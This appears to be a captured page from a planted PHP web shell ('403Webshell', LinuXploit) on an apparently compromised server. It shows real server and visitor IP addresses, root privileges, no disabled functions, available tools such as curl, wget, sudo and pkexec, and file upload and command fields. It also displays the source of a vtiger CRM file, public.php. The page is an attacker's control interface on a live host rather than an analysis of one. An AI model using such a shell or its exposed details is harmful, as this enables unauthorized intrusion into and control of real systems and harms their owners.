403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vt84/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vt84/public.php
<?php
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

include_once 'vendor/autoload.php';
include_once 'vtlib/Vtiger/Module.php';
vimport('includes.runtime.EntryPoint');

if(isset($_REQUEST['type']) && isset($_REQUEST['key']) && $_REQUEST['type'] == 'logo'){
	$logoPath = 'test/logo/';
	$allowedLogoImageFormats = Settings_Vtiger_CompanyDetails_Model::$logoSupportedFormats;
	$fileName = vtlib_purify($_REQUEST['key']);
	$finalFilePath = $logoPath.$fileName;
	$extension = explode('.', $fileName);
	$imageFormat = strtolower($extension[1]);
	if (in_array($imageFormat, $allowedLogoImageFormats)) {
		checkFileAccess($finalFilePath);
		
		/* rebuild expected content-type */
		$contentType = "image/" . $extension[1];
		if (strtolower($extension[1]) == "svg") {
	        	$contentType = "image/svg+xml";
		}
		Vtiger_ShowFile_Helper::show($finalFilePath, $contentType);
	}
	return;
}

Vtiger_ShowFile_Helper::handle(vtlib_purify($_REQUEST['fid']), vtlib_purify($_REQUEST['key']));

Youez - 2016 - github.com/yon3zu
LinuXploit